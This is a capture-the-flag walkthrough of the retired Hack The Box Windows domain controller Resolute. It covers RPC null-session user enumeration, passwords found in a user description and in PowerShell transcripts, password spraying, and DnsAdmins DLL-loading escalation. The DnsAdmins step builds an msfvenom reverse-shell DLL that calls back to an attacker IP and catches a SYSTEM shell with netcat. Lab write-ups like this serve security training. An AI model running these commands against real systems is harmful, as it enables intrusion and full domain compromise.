Skip to content

Hack The Box | Resolute

In this walkthrough, we will be going through the Resolute box on Hack The Box.

Resolute icon

Resolute

OS

Windows

RELEASE DATE

7 Dec 2019

DIFFICULTY

Medium

MACHINE STATE

Retired


Successfully Pwned Resolute

Completed and pwned this challenge on Hack The Box.

Hack The Box logo

Hack The Box

Resolute pwned screenshot

Machine Overview

Resolute is an easy-difficulty Windows Active Directory Domain Controller running Windows Server 2016. This machine demonstrates common AD enumeration techniques and privilege escalation through misconfigured group permissions. The attack path involves user enumeration via RPC null sessions, discovering credentials in user description fields, finding additional credentials in PowerShell transcripts, and ultimately leveraging DnsAdmins group membership to achieve SYSTEM-level access through DLL hijacking.

Enumeration

Nmap Scan

We begin by running an Nmap scan to identify open ports and services on the target machine:

bash
nmap -A -oN nmap.txt 10.10.10.169

Scan Results:

bash
PORT     STATE SERVICE      VERSION
53/tcp   open  domain       Simple DNS Plus
88/tcp   open  kerberos-sec Microsoft Windows Kerberos (server time: 2025-11-22 06:37:25Z)
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGABANK)
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap         Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Aggressive OS guesses: On Time RTOS-32 3.0 (87%), Cisco CSS 11501 switch (86%), Allied Telesis AT-8000S; Dell PowerConnect 2824, 3448, 5316M, or 5324; Linksys SFE2000P, SRW2024, SRW2048, or SRW224G4; or TP-LINK TL-SL3428 switch (86%), Cisco SG 300-10, Dell PowerConnect 2748, Linksys SLM2024, SLM2048, or SLM224P, or Netgear FS728TP or GS724TP switch (86%), Linksys SRW2000-series or Allied Telesyn AT-8000S switch (86%), IBM z/VM 4.2 (85%), Vegastream Vega 400 VoIP Gateway (85%), Allied Telesyn AT-AR410 router (85%), IBM z/OS 2.1 (85%), IBM z/OS 1.12 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: RESOLUTE; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 2h47m01s, deviation: 4h37m09s, median: 7m00s
| smb2-security-mode:
|   311:
|_    Message signing enabled and required
| smb-security-mode:
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb2-time:
|   date: 2025-11-22T06:37:35
|_  start_date: 2025-11-22T06:29:41
| smb-os-discovery:
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: Resolute
|   NetBIOS computer name: RESOLUTE\x00
|   Domain name: megabank.local
|   Forest name: megabank.local
|   FQDN: Resolute.megabank.local
|_  System time: 2025-11-21T22:37:32-08:00

Key Findings:

  • Ports 53 (DNS), 88 (Kerberos), 389/636 (LDAP), and 3268/3269 (Global Catalog) are open, which are typical for a Domain Controller
  • The domain name is megabank.local with the hostname RESOLUTE
  • Windows Server 2016 Standard is running
  • SMB message signing is enabled and required

From the results, we identified several open ports including Kerberos (TCP/88), LDAP (TCP/389), and SMB (TCP/445), confirming this is an Active Directory Domain Controller.

Enumeration of Domain Users

We can use rpcclient with a null session to enumerate the domain users:

bash
$ rpcclient -U "" -N "10.10.10.169" -c "enumdomusers;quit"

user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[ryan] rid:[0x451]
user:[marko] rid:[0x457]
user:[sunita] rid:[0x19c9]
user:[abigail] rid:[0x19ca]
user:[marcus] rid:[0x19cb]
user:[sally] rid:[0x19cc]
user:[fred] rid:[0x19cd]
user:[angela] rid:[0x19ce]
user:[felicia] rid:[0x19cf]
user:[gustavo] rid:[0x19d0]
user:[ulf] rid:[0x19d1]
user:[stevie] rid:[0x19d2]
user:[claire] rid:[0x19d3]
user:[paulo] rid:[0x19d4]
user:[steve] rid:[0x19d5]
user:[annette] rid:[0x19d6]
user:[annika] rid:[0x19d7]
user:[per] rid:[0x19d8]
user:[claude] rid:[0x19d9]
user:[melanie] rid:[0x2775]
user:[zach] rid:[0x2776]
user:[simon] rid:[0x2777]
user:[naoki] rid:[0x2778]

LDAP Anonymous Search

We can also enumerate the domain users using LDAP anonymous search.

bash
$ ldapsearch -x -H ldap://10.10.10.169 -b "DC=megabank,DC=local" "(objectClass=person)" cn

# extended LDIF
#
# LDAPv3
# base <DC=megabank,DC=local> with scope subtree
# filter: (objectClass=person)
# requesting: cn
#

# Guest, Users, megabank.local
dn: CN=Guest,CN=Users,DC=megabank,DC=local
cn: Guest

# DefaultAccount, Users, megabank.local
dn: CN=DefaultAccount,CN=Users,DC=megabank,DC=local
cn: DefaultAccount

# RESOLUTE, Domain Controllers, megabank.local
dn: CN=RESOLUTE,OU=Domain Controllers,DC=megabank,DC=local
cn: RESOLUTE

<...SNIP...>

Checking User Descriptions

Let's query each user's details to check their description fields for any exposed credentials:

bash
rpcclient -U "" -N "10.10.10.169" -c "enumdomusers;quit" | grep -oP 'user:\[\K[^]]+' | while read user; do
    rpcclient -U "" -N "10.10.10.169" -c "queryuser $user"
done

Results:

bash
User Name   : marko
Full Name   : Marko Novak
Home Drive  :
Dir Drive   :
Profile Path:
Logon Script:
Description : Account created. Password set to Welcome123!

Looking at the description field of the marko user, we can see that the password is set to Welcome123!.

We can verify this password works by authenticating as the marko user. However, since we have a list of users and a known password, we can use netexec to authenticate as all users and see if any of them use the same password.

bash
$ netexec smb 10.10.10.169 -u users.txt -p 'Welcome123!'

SMB         10.10.10.169    445    RESOLUTE         [*] Windows 10 / Server 2016 Build 14393 x64 (name:RESOLUTE) (domain:megabank.local) (signing:True) (SMBv1:True)
<...SNIP...>
SMB         10.10.10.169    445    RESOLUTE         [+] megabank.local\melanie:Welcome123!

We can see that the melanie user also uses the same password Welcome123!.

We can now use Evil-WinRM to authenticate as the melanie user and gain initial access:

bash
$ evil-winrm -i 10.10.10.169 -u 'melanie' -p 'Welcome123!'

Evil-WinRM shell v3.7

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\melanie\Documents> whoami
megabank\melanie

Success! We now have a shell running as the melanie user.

Privilege Escalation

Initial Enumeration

After checking the melanie user's group memberships and privileges, we don't find any obvious paths to escalate privileges. Let's explore the file system for any interesting files or directories that might contain credentials or useful information.

When listing hidden directories in the C:\ directory, we notice a PSTranscripts folder:

bash
*Evil-WinRM* PS C:\> Get-ChildItem -Force


    Directory: C:\


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d--hs-        12/3/2019   6:40 AM                $RECYCLE.BIN
d--hsl        9/25/2019  10:17 AM                Documents and Settings
d-----        9/25/2019   6:19 AM                PerfLogs
d-r---        9/25/2019  12:39 PM                Program Files
d-----       11/20/2016   6:36 PM                Program Files (x86)
d--h--        9/25/2019  10:48 AM                ProgramData
d--h--        12/3/2019   6:32 AM                PSTranscripts
<...SNIP...>

The PSTranscripts directory contains PowerShell transcript logs. These logs record all commands executed in PowerShell sessions. Let's examine the transcript files:

bash
$ type C:\PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt

<...SNIP...>
cmd : The syntax of this command is:
At line:1 char:1
+ cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (The syntax of this command is::String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError
cmd : The syntax of this command is:
At line:1 char:1
+ cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (The syntax of this command is::String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError

Key Finding: The PowerShell transcript reveals a command attempting to map a network drive using credentials for the ryan user. Although the command failed (likely due to syntax issues), we can extract the password from the command: Serv3r4Admin4cc123!

Let's authenticate as the ryan user:

bash
$ evil-winrm -i 10.10.10.169 -u 'ryan' -p 'Serv3r4Admin4cc123!'

Evil-WinRM shell v3.7

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\ryan\Documents> whoami
megabank\ryan

Success! We've authenticated as the ryan user. Now let's check the user's group memberships and privileges to identify potential privilege escalation paths:

bash
*Evil-WinRM* PS C:\Users\ryan\Documents> whoami /all

USER INFORMATION
----------------

User Name     SID
============= ==============================================
megabank\ryan S-1-5-21-1392959593-3013219662-3596683436-1105


GROUP INFORMATION
-----------------

Group Name                                 Type             SID                                            Attributes
========================================== ================ ============================================== ===============================================================
Everyone                                   Well-known group S-1-1-0                                        Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users            Alias            S-1-5-32-580                                   Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                       Well-known group S-1-5-2                                        Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11                                       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15                                       Mandatory group, Enabled by default, Enabled group
MEGABANK\Contractors                       Group            S-1-5-21-1392959593-3013219662-3596683436-1103 Mandatory group, Enabled by default, Enabled group
MEGABANK\DnsAdmins                         Alias            S-1-5-21-1392959593-3013219662-3596683436-1101 Mandatory group, Enabled by default, Enabled group, Local Group
NT AUTHORITY\NTLM Authentication           Well-known group S-1-5-64-10                                    Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level     Label            S-1-16-8192

Key Finding: The ryan user is a member of the MEGABANK\DnsAdmins group. This is a critical discovery because members of the DnsAdmins group have the ability to load arbitrary DLLs into the DNS service, which runs with SYSTEM privileges.

DnsAdmins Privilege Escalation

Members of the DnsAdmins group can configure the DNS server to load a custom DLL plugin. When the DNS service restarts, it will load this DLL with SYSTEM privileges, allowing us to execute arbitrary code as SYSTEM.

The attack works as follows:

  1. Create a malicious DLL payload that will execute a reverse shell
  2. Host the DLL on an SMB share accessible by the target
  3. Configure the DNS server to load our DLL using dnscmd
  4. Restart the DNS service to trigger the DLL load
  5. Receive a reverse shell with SYSTEM privileges

Let's proceed with the attack:

Step 1: Create a Malicious DLL

First, we'll create a reverse shell DLL using msfvenom. The DLL will connect back to our attacker machine:

bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.19 LPORT=4444 --platform=windows -f dll > revshell.dll

Step 2: Host the DLL on an SMB Share

We need to host the DLL on an SMB share that the target machine can access. Set up an SMB server on your attacker machine:

bash
impacket-smbserver share .

Step 3: Configure DNS Server to Load the DLL

Using the dnscmd utility, we can configure the DNS server to load our malicious DLL. The ryan user has DnsAdmins privileges, so this command will succeed:

bash
*Evil-WinRM* PS C:\Users\ryan\Documents> dnscmd.exe resolute /config /serverlevelplugindll \\10.10.14.19\share\revshell.dll

Registry property serverlevelplugindll successfully reset.
Command completed successfully.

DNS Plugin Configuration

The /serverlevelplugindll parameter configures the DNS service to load a custom DLL plugin. This DLL is loaded when the DNS service starts, and since DNS runs as SYSTEM, our code will execute with SYSTEM privileges.

Step 4: Restart the DNS Service

Now we need to restart the DNS service to trigger the DLL load. We can use sc.exe to stop and start the service:

bash
*Evil-WinRM* PS C:\Users\ryan\Documents> sc.exe stop dns
*Evil-WinRM* PS C:\Users\ryan\Documents> sc.exe start dns

Step 5: Receive the Reverse Shell

On our attacker machine, we should have a netcat listener waiting for the connection:

bash
$ nc -lnvp 4444

listening on [any] 4444 ...
connect to [10.10.14.55] from (UNKNOWN) [10.10.10.169] 52758
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami 
nt authority\system

Perfect! We now have a shell running as the SYSTEM user, which is the highest privilege level on Windows systems.

Flags

  • User flag: C:\Users\melanie\Desktop\user.txt
  • Root flag: C:\Users\Administrator\Desktop\root.txt

References